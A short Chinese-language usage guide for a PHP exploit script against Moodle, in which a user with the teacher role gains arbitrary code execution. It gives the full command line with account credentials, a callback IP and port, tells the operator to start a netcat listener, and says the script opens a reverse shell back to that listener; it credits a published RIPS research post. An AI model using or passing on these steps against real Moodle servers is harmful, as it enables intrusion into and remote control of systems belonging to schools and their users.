拥有教师角色的用户能够执行任意代码。
php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
user The account username
pass The password to the account
ip Callback IP
port Callback Port
course Valid course ID belonging to the teacher
确保在运行此脚本之前,在指定端口上启动 netcat 监听器。
nc -lnvp 1010
这将尝试向监听 IP 和端口打开一个反向 shell。
此漏洞利用基于 Robin Peraglie 提供的信息。
附加阅读: https://blog.ripstech.com/2018/moodle-remote-code-execution